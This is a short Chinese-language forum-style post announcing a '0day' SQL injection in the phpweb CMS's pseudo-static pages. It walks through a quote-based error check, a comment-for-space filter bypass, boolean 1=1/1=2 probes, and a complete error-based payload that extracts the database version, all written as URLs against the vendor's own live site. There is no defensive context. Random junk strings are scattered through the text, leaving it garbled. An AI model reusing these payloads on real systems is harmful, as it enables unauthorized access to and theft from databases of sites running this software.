phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

; q, a5 X& G3 s0 W主站：http://phpweb.net/
+ @( {+ O/ Q9 E* e1 u/ L加’检测：
, ]2 F& _" X1 }/ }/ k- `) x
http://www.phpweb.net/down/html/?772′.html
4 g0 }9 z9 ^0 W
出错
存在注入。
不能用空格，只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

; I1 Q0 _: F" Y) ^5 B* H  jhttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：

% G0 L/ W& ~& r+ |  J. e1 e+ V?
9 Q5 |" E  Z+ W7 {7 M1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
  ?4 h# e3 Z* `( ?; M2 a5 ^2 J更新日期: 2013-01-03 13:39:50        
! f9 n5 m/ e3 u